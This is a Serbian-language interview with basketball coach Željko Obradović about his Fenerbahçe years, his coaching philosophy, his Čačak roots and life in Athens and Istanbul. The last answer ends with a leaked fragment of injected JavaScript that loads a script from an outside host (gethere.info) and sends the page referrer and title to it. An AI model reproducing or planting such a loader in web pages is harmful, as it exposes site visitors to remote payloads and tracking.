INTERVJU, ŽELJKO OBRADOVIĆ: Kad ti ljudi veruju, moraš da opravdaš tu veru!

INTERVJU, ŽELJKO OBRADOVIĆ: Kad ti ljudi veruju, moraš da opravdaš tu veru!


Pritisak stiže s raznih strana, ali za mene je najbitniji pritisak koji sam osećam u smislu odgovornosti prema klubu, navijačima. Ljudi ti veruju i ti moraš da učiniš sve da opravdaš tu veru

Najbolji evropski košarkaški trener živi na azijskoj strani Istanbula. Kao da mu je evropski okvir postao tesan. Dok se brodom prilazi Fenerbahče marini, deluje kao da je neko za potrebe snimanja filma postavio kulise Menhetna.Raznobojne kule fascinantnih arhitektonskih rešenja paraju nebo. Vešto uklopljena instalacija od betona, metala i raznobojnog stakla isijava moć i sugeriše prisustvo krupnog kapitala u neograničenim količinama.

U dubokoj senci tog vrištećeg luksuza,na pristojnoj udaljenosti od celodnevnog glamura, na samoj obali mora, živi Željko Obradović.

Iz čisto praktičnih razloga deli komšiluk s ljudima kojima adresa značajno utiče na društveni status. Od kuće do „posla”, grandiozne dvorane Fenerbahčea, manje je od 15-ak minuta vožnje. Mada pojam „kuća” u njegovom slučaju treba uslovno tretirati.Jedva dve noći nedeljno spava u svom krevetu. Pred svaku utakmicu ekipa Fenera noći u hotelu, putuje se svake nedelje širom Evrope i Turske, pa je „moj krevet” više misaona nego praktična kategorija.
Ato je, na neki način, i u redu. Željko Obradović živi i radi na adresi Evropska košarka bb!

Tamo gde je on – tamo je epicentar popularne igre. Sticajem okolnosti, ovog trenutka na azijskoj strani Istanbula. Nekim sudbinskim nitima, mada za to postoje lepe srpske reči – posvećenost, pamet, osećaj, rad…- istorija evropske košarke poslednje dve i po decenije u dobroj meri je ispisana Željkovim rukopisom.

Za ljude košarke kalendarski kraj godine je tek polovina sezone, ali krajem decembra sumiraju se godišnji rezultati.U kakvom raspoloženju ispraćate 2016. godinu?

– Hvala na pitanju, u dobrom. Na sportskom polju to je bila veoma dobra godina.Osvojili smo prvenstvo Turske, Kup, a pobedili smo i Efes u Superkupu. Drugu godinu zaredom igrali smo fajnal-for Evrolige i u dva produžetka jednu utakmicu dobili,drugu, u velikom finalu sa CSKA, izgubili. Tako to ide u košarci. Ostaje žal zbog te dve sekunde…Ali, tako je, izgleda, moralo da bude. Kad stigneš do takve završnice, šanse su uvek 50:50. Nekad dobiješ,nekad dobije onaj drugi!
Drama u završnici finala kao da je podgrejala očekivanja. I stručnjaci i navijači vide Fenerbahče kao jednog od favorita za osvajanje Evrolige.

Kako je to nositi se s permanentnim pritiskom, jer od Obradovića se uvek očekuju vrhunski dometi?

-Apsolutno sam svestan te činjenice. I pre Fenerbahčea sam radio u sredinama koje su imale najveće ambicije. Ne potpisuje mene Fenerbahče da bi se zadovoljio prosekom. Pritisak stiže s raznih strana, ali za mene je najbitniji pritisak koji ja sam osećam u smislu odgovornosti prema klubu,navijačima… Dobio sam odrešene ruke od predsednika Aziza Jildirima, formirao tim saradnika, s generalnim menadžerom Mauricijom Đerardinijem, tim-menadžerom Omerom Onanom,koji je nedavno prešao u federaciju Turske, svojim pomoćnicima, igračima…Svima je tu sve jasno. Ko, šta i kako radi. Sve to čini ambijent kojim sam vrlo zadovoljan. Zdravi smo iznutra. Zacrtali smo pravac i usvojili ga. Kad je tako, onda postoje uslovi da stignešdo velikog cilja.E, sad, sport je to! Nekad se desi, nekad ne. Ali, da bi došao u priliku da stigneš tamo gde si krenuo, pre svega moraš da uradiš ovo što smo mi uradili.

Kad sam stigao u Fenerbahče, prosek gledalaca je bio 2,5 hiljade u Evroligi. Sad je 10,5, možda i 11 hiljada

Navijači su to prepoznali. Nekad je košarkaški klub bio mlađi brat fudbalske sekcije, danas je dvorana puna.

– Na to sam najponosniji. Kad sam stigao u Fenerbahče, prosek gledalaca je bio 2,5 hiljade u Evroligi. Sad je 10,5, možda i 11 hiljada, a broj pretplatnih karata je sedam hiljada, što je rekord za jedan košarkaški klub. Nismo želeli više pretplatnih karata da prodamo kako bi se omogućilo studentima ili ljudima koji ne mogu da plate visoku cenu tih karata da mogu da gledaju svoj klub. Stalno ponavljam igračima da je to bogatstvo kad ti navijači toliko veruju. Ali, to je i obaveza.Odgovornost. Recimo, posle utakmice koju smo nedavno izgubili u Vitoriji, protiv Baskonije, više od 30 razlike, to je verovatno najveća razlika s kojom sam izgubio utakmicu kao trener, ulazimo u dvoranu na derbi s Galatasarajem. Šok. Dvorana puna, pesma, najvijanje, vidiš da su ti ljudi s tobom, žele da te podrže. E,sad, da se vratim na pitanje pritiska! To je za mene najveći pritisak- ljudi ti veruju i ti moraš da učiniš sve da opravdaš tu veru!

Znači, imperativ osvajanja titula i pehara nije najveći pritisak?

-Ne, za mene nije! To je u opisu radnog mesta. O tome se ne misli na dnevnoj ili nedeljnoj bazi. Treba uraditi mnogo stvari da se stigne tamo. Zato insistiram na stvarima koje sada i ovde možeš da popraviš. Nikad se ne ljutim na igrače kad daju sve od sebe, a protivnik je bolji, raspoloženiji, pa se izgubi utakmica. Ja reagujem kad osetim apatiju, malodušnost, nedostatak volje… Ponekad je prirodno da se to desi, ali to kod mene izaziva reakciju, povišen ton…

Fenerbahče nije osvojio Evroligu, ali je već ovog trenutka jedan od najzanimljivijih, najmoćnijih klubova Evrolige. Nameće se utisak da gde vi krenete, seli se centar evropske klupske košarke?

– Teško je meni da na taj način pričam o sebi. Malo drugačije vrednujem rad i posledice… Postoje stvari koje su meni važnije od teorija u medijima. Pitanje poverenja, na primer. Pre neki dan sam potpisao ugovor o produžetku saradnje sa Fenerbahčeom. Predsednik Azis Jildirim je pominjao više godina, ali za sada ostajem do 2020. Ali, više mi od tog papira na koji smo stavili potpise znači to što mi predsednik veruje. Što je prepoznao energiju koju ulažem, način na koji radim, posvećenost poslu…Istanbul i Turska mnogo ulažu u košarku. Da li to sad ima veze s pitanjem, ili je moj dolazak posledica odluke da se generalno podigne turska košarka, ne znam. Činjenica je, barem po mom mišljenju, da je turska liga ovog trenutka posle Evrolige najača liga u Evropi. Jača i od španske lige, koja je dugo bila najbolja u Evropi.

Nema više lakih gostovanja po Turskoj?

-Ma, kakvi… Mi to znamo najbolje. Nema više upisanih bodova. Nikoga ne možemo da pobedimo lako. Ni trenutka predaha, a igramo u ritmu u kom igramo…I kod kuće, a naročito na gostovanjima, imamo problem da dobijemo utakmicu.Svi igraju veomadobro, i to je ta reakcija na napore košarkaške Federacije Turske da ima vrhunsko takmičenje. I, ima ga!

Turske kompanije su glavni partneri Evrolige. Predsednik FIBA Evrope je Turgaj Demirel. Očigledno ozbiljan projekat?

-U Turskoj će 2017. biti Fajnal-for, a na jesen i finalni turnir Evropskog prvenstva. Takav rad može samo da posluži kao primer drugim zemljama i federacijama i unapređuje košarku kao sport. Evo, sad imamo sistem u Evroligi za koji se zalažem deset godina.Već sada se vidi da je ovaj koncept mnogo bolji nego što su i najveći optimisti mogli da pretpostave. Sve u svemu, zadovoljan sam kako se stvari odvijaju i kakav je košarkaški ambijent trenutno. Zato i mogu da uložim maksimum energije i želje da stvari budu bolje.

Čak i vi, s toliko priznanja, morate iznova da se dokazujete…

-Svestan sam toga. A tako i treba.Ma, nema ništa od onoga što se desilo u prošlosti. Doći će trenutak kad ćemo imati sve vreme sveta da razmišljamo o prošlostii onome što je bilo, šta je osvojeno…Sada se igra! Ako ja kao trener, a osvojio sam nešto, prihvatam taj teret, i težim da pružim maksimum, onda mogu da očekujem od ostalih isti nivo.

Šef Evrolige Đordi Bartomeu u tebi je dobio najvažnijeg partnera na samom terenu. Zlatna era Panatinaikosa bila je veliki impuls popularnosti i poslovnom statusu Evrolige. Saradnja sa centralom u Barseloni je dobra?

-Izvanrednu saradnju imam sa Đordijem.Pre neku godinu su doneli odluku da neke prostorije budu nazvane po Dejanu Bodirogi, Šarunasu Jasikevičijusu i meni. Uvek kad mi treneri imamo sastanak u Evroligi, ja im poželim dobrodošlicu jer su gosti u mojoj prostoriji, ha-ha-ha… Zaista sam ponosan što mi je Evroliga učinila takvu čast i uvek ću se truditi da takmičenje napreduje i približi se onome što danas u organizacionom smislu predstavlja NBA. Ali, ponavljam, i ne želim da zvuči kao fraza – ništa ja ne mogu da uradim sam. Tu si bili klubovi, stručni štabovi, saradnici, i pre svega igrači. Oni daju koševe, brane ih, osvajaju trofeje i oni su uvek najzaslužniji.

Foto: Srdjan Stevanovic/Starsportphoto ©

Foto: Srdjan Stevanovic/Starsportphoto ©

Šutiraš do besvesti, pa jednog dana,valjda, zaslužiš da počnu da te zovu Žoc – Željko Obradović cepač! Takvo je vreme bilo

Ne umori li se čovek od toliko „odlučujućih” utakmica, titula, stalne borbe za sam vrh? Osvojili ste sve što se može osvojiti. Nije li teško pronaći iznova motive?

  • Nije. Barem meni nije. Važno je to što sam ja srećan kad se ujutro probudim i krenem na trening. Ja to volim da radim,bez obzira na probleme na koje nailazim svakog dana, na treninzima, putovanjima, na svakoj utakmici…

Drugo, važno je da imaš cilj. Akad ga već imaš, onda je uvek bolje da imaš veliki cilj. Lako je kad sebi postaviš mali cilj. Ne plašim se velikih ciljeva.

-Evo, na primer,ovaj posao u Istanbulu. Kad smo došli moj tim i ja, Fener je u istoriji osvojio ukupno pet titula. Za tri sezone, sada je počela četvrta, osvojili smo dva prvenstva, dva Superkupa i jedan Kup Turske. Od onih trofeja što su pod svodovima dvorane, naša je polovina. Sam si rekao da je Fenerbahče ovog trenutka veoma prepoznatljiv u celoj Evropi. Agde je bio pre tri godine?
E, to je bio i još uvek je moj cilj. Naravno da je za navijače i rukovodstvo najbitnije da Fenerbahče bude prvak Evrope. Ali, mislim da je važnije da klub stalno napreduje i postane stabilan evropski gigant.Kao što su Real,Barselona, CSKA, Panatinaikos, Olimpijakos i Makabi. To su nesporno već dugo sinonimi za vrhunsku košarku u Evropi. E, moj cilj je da uskoro Fenerbahče bude u tom društvu.

Zar već nije?

-Nije. Veliki pomak i uspeh su napravljeni, ali ima tu još da se radi. Uostalom, nemamo titulu prvaka Evrope.Inače, skoro nikad nisam baš potpuno zadovoljan. I kad sam osvajao triple krune u Panatinaikosu, uvek sam postavljao pitanje sebi i saradnicima šta može bolje da se uradi. Trudim se da budem korak ispred ostalih. Da inoviram, pronalazim nove puteve…

Izgleda da uspevate. Danas pola Evrolige igra „Žocovu košarku”. Može li se tako, s obzirom na to da gradite igru na osnovu svojih igrača?

-Dobro, sve češće postavljam igru i na osnovu igrača protivničkog tima.Sve je to uobičajeno. Mi treneri gledamo utakmice i vidimo razne varijante u akcijama. Nekad ti se učini dobra neka ideja koju vidiš, pa je razviješ ili prilagodiš svom timu. Prepoznam i naše akcije kod drugih, ali to je u redu.Svi smo od nekog učili. Sećam se kad su mi iz Čikaga, imao sam tamo veliku familiju, stigle one VHS kasete s NBA utakmicama. Prvo sam mislio da oni igraju neki drugi sport. Kad smo to pokazali Radmilu Mišoviću, jednom od najboljih igrača u istoriji Jugoslavije, on je čovek hteo da prestane da igra košarku. Ovo govorim zbog toga što je to tada bila drastična razlika. A danas, posle tehnološke revolucije, kad ti je prohodnost informacija omogućila neverovatne stvari,sve ti je nadohvat ruke. Potrebno je samo da znaš kako da uklopiš ta saznanja do kojih dođeš, kapacitet svoje ekipe, slabosti protivnika…

Da,da… Samo to treba znati? Baš jednostavno!

-Pa, dobro, nije jednostavno, ali je mnogo jednostavnije nego kad sam počinjao u Partizanu, imao sam jednog pomoćnika. Pričao mi je pokojni profa Aca Nikolić, najbolji trener svih vremena, da je tek posle dolaska Kreše Ćosića sa koledža iz Amerike prvi put saznao za neke stvari koje mnogo unapređuju odbranu. Danas ti to sve gledaš u realnom vremenu. Imaš po nekoliko pomoćnika. Kad sam bio s ekipom kod Grega Popovića, igrao je PAO sa San Antonijem, prvi put smo videli lajv-skauting. U poluvremenu je u svlačionici Greg ukazivao igračima na greške. Moj kum Itudis i ja, bio mi je pomoćnik tada, bili smo impresionirani. Posle smo mi to primenili u Panatinaikosu. Slediš uzore, onda neki od tebe nešto uzmu…i napreduje se.

Da li zbog toga važi pravilo da Obradović tokom utakmice bitno utiče na razvoj događaja i kažnjava slabe tačke protivnika?

-Uvek sam govorio da je košarka sport u kome treneri imaju najveći uticaj na igru.Zbog tajm-auta, blizine igrača… Možeš ti sve da pripremiš, pokažeš, ali utakmica je živa stvar.Nekad ne možeš da predvidiš okolnosti koje se dese na terenu. Moraš da „čitaš” utakmicu i da reaguješ. E, tu sada dolazi do izražaja to što sam bio plejmeker i saradnja s igračima na toj poziciji je najvažnija. Zato i utičem na igru, jer kad treba preuzeti odgovornost, logično je da to uradi trener.

Nema dileme da ste najtrofejniji trener evropske košarke. Da li ste razmišljali o tome šta ste dali evropskoj košarci?

-Bio bih potpuno zadovoljan i srećan ako sam radeći sa svojim saradnicima dao doprinos da što veći broj ljudi zavoli košarku. Od Partizana, preko Huventuda, Reala, Benetona, naročito Panatinaikosa i danas u Fenerubahčeu. Valjda neće biti neskromno ako kažem da mislim kako se to desilo. Košarka je popularnija, na višem je nivou, napreduje…To je moja vodilja. Da se s godinama povećava broj onih koji se povezuju s našim sportom.

Da, ali ipak ste vi osvojili sve te titule, mora da postoji razlog?

-Ima stručnih stvari koje prepoznaje uzak krug ljudi, ali mislim da mi je mnogo pomoglo to kakva sam osoba privatno. Mogu i spreman sam da se prilagodim. Krenuo sam iz Čačka, živeo u Beogradu sedam godina, pa otišao u Badalonu,praktično Barselonu, Madrid, Trevizo, Atinu, a evo sada sam u Istanbulu. Moraš da se prilagodiš sredini u kojoj si, ljudima u klubu, navijačima…To nije uvek baš lako. Sećam se kad sam bio trener Huventuda, mi na nekoj večeri, vidim svi igrači naručuju čašu vina, pivo… Samo što nisam pao u nesvest. To je kod nas bilo nezamislivo. Ali, tamo je to sastavni deo života i kulture. Nema druge čaše. Jedna i kraj. To kod nas kad krene… Ha-ha-ha…

Takođe, reakcije na pobedu ili poraz. Mi Srbi smo prilično euforični u pobedi, a više nego što treba utučeni posle poraza.

-Tu sam se promenio, prilagodio. Život ide dalje. Sećam se kad sam prve godine vodio Partizan, kad izgubim, srećom, mislim da je bilo samo dva puta, mislio sam da me svi gledaju i misle-vidi onu budalu što je izgubio. Sedim satima i gledam kasetu kako smo izgubili. To je bilo tako, danas se često setim misli nekog pametnog čoveka – izvukli smo glavnu nagradu na lutriji – život. Dakle, živimo život!

Trenirali ste najveće evropske košarkaše: Sabonisa, Đorđevića, Dijamantidisa, Jasikevičijusa,Bodirogu, Danilovića…Nekako je ispalo da su od vas učili rukovodioci našeg saveza. Hoće li pomoći vaš pobednički mentalitet?

-Da, radio sam i sa Sašom Danilovićem, Saletom Đorđevićem i Dejanom Tomaševićem. Mogu samo da bude srećan što su tamo gde jesu i da im poželim mnogo uspeha. Imali smo i onda, a imamo i sada izvanrednu saradnju. Tu je sve poznato.

Razmišljate li o svojoj odluci da je s reprezentacijom i savezom stvar završena?

-Da,to sam rekao i tu se ništa nije promenilo. Moja misija je u tom smislu završena. Bio sam vojnik reprezentacije od 1992. kad sam počeo kao pomoćnik svom kumu i velikom prijatelju Dudi Ivkoviću, a završilo se mojim velikim razočaranjem 2005. na Evropskom u Beogradu. Zna se šta je između toga bilo, ja se ne bih vraćao na to. Dakle, to je tako, a svi ljudi koji vode savez znaju da imamo izvanredne odnose i da uvek kad im je potrebno mišljenje, mogu da ga dobiju. Javno se ne izjašnjavam, osim kad čestitam na uspesima i što kao lud navijam za reprezentaciju Srbije i tako će uvek biti.

Kad se razgovara s vama, ne može da se preskoči Čačak. Ima li objašnjenja da tako malo geografije iznedri tako velika imena – Mišović, Kićanović, Obradović?

– Danas, kad pričam o tome kakva su košarkaška pravila bila u Čačku, mladi treneri me gledaju u čudu. Mi, recimo, završimo utakmicu ondašnje savezne lige, a znamo da je to bila najjača liga u Evropi, odemo u nedelju prepodne na „Čelovo” igralište da igramo basket. Tu je bilo i po 2.000 ljudi koji su gledali. E,sad, mi smo afirmisani igrači, nešto značimo u košarkaškom svetu, na pragu neke reprezentacije, čekamo sat i po da igramo, neki momci nas išamaraju, pa onda opet čekamo sat i po da opet igramo. To je bila kultura igranja košarke u ondašnjem Čačku. Čekaš red, prijatelju. Tradicija da uvek moraš da se dokažeš. Moraš ko manijak da treniraš da bi postao dovoljno dobar.

Tada je i nastao nadimak Žoc?

-Jeste. Ali, ne znam koliko puta mi je ruka kojom šutiram bila tvrda kao kamen. Šutiraš do besvesti, pa jednog dana,valjda, zaslužiš da počnu da te zovu Žoc – Željko Obradović cepač! Takvo je vreme bilo, ha-ha-ha…Nedavno smo moj pomoćnik u Fenerbahčeu Vlada Androić i ja okupili nekadašnju ekipu, bilo je igrača nekoliko generacija: Radmilo Mišović, Mićko Urošević, Sajo Šarančić, Kurdžuba, Redžo, Biorac… Našli smo se u dva po podne i ostali do tri ujutro. Pričali naše košarkaške priče i bilo je divno… Eto, to je bio Čačak. Odatle, sa stanice, krenuo sam kad je to bila ozbiljna košarkaška sredina. Znam da ljudi i sada nešto pokušavaju, ali sve se raspalo s onom zemljom i sad se uvek pominju materijalne stvari, a ja mislim da nije to baš toliko bitno. Sećam se da me je otac molio da idem i da tražim besplatnu kartu za autobus, na koju sam imao pravo. Nisam hteo, jer sam bio presrećan da mogu da igram u Borcu. Peške, biciklom, išao sam na trening i bio sam presrećan.

Čačanski lobi je uvek tu da se proslave vaše titule, bez obzira na to gde se igra. Ostali ste povezani, bez obzira na daljinu?

-Ma,tu su oni i kad se ne osvajaju titule. Važno je da neko vreme provedemo zajedno. Vidi, apsolutno savršeno znam ko su mi prijatelji iz vremena Čačka, i koji su to postali kasnije… Evo, sad sam u Istanbulu stekao prijatelje za ceo život. Znam ko se javi kad izgubim utakmicu, a ko kad se pobeđuje… Meni je dovoljno što znam da me neki ljudi vole, i to mi je dovoljno. Znam ko su moji ljudi, i nikad nisam imao problem s tim. Ljubav koju sam imao od navijača Panatinaikosa je čudo! Isto se sada događa u Istanbulu. Nadam se da je to zbog toga što osećaju šta sam spreman da dam za klub.

U Grčkoj vas poštuju i vole. Čak i navijači Olimpijakosa imaju respekt prema vama. Postali ste i počasni građanin Atine. Kako, posle svega, doživljavate Atinu?

-U Atini imam mnogo prijatelja za ceo život. Kad slećem u Atinu, kao da slećem u Beograd. Veruj mi, ovo iskreno govorim. Proveo sam tamo 13 fantastičnih godina. Mislim da su Grci fantastičan narod i žao mi je što prolaze kroz ekonomsku krizu. Čim se završi sezona, idem do majke u Čačak, pa u Beograd da obiđem prijatelje i mesta koja volim, a onda pravac u Atinu. Ekipa me čeka. Da li ćemo na neka ostrva ili negde drugde, nema veze, ali svakako sam neko vreme u Grčkoj.

Kako se živi u Istanbulu? Barem ono vreme koje provodiš u gradu, s obzirom na putovanja?

– Živeo sam u Fenerbahče marini, a sad sam u malo mirnijem delu, na obali mora. Blizu dvorane, ali šta vredi. Jedva dve noći provedem u svom krevetu. Srećom, uvek se pronađe naki dobar restoran, kafić, pa koliko vreme dozvoli. Sad imamo jedan riblji, koji je otvoren koliko nama odgovara. Slučajno sam ga otkrio kad sam hteo da ručam. Uđem, kad ono grčka muzika. Divni su ljudi i sad smo se odomaćili tamo. Uvek se nekako okupi ekipa posle utakmice i po nas 20-ak provede lepo vreme u restoranu.

Uspešno i dosledno svoju porodicu držite daleko od javnosti.

-Oni ne vole da budu eksponirani. Moja ćerka Anja je došla i živela u Istanbulu pre mene. Kad sam ja stigao, šalili smo se da živimo u istom gradu, ali na dva kontinenta. Ona je bila u evropskom delu, a Vesna, Đorđe i ja u azijskom. Zbog posla je sada u Barseloni. Đorđe završava srednju školu.

Trenira li košarku?

– Igra nešto u školi, ali ja se u to ne mešam. Ne vole kad se ja tu petljam. Bolje je tako.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

+ Trenutno nema komentara

Dodajte komentar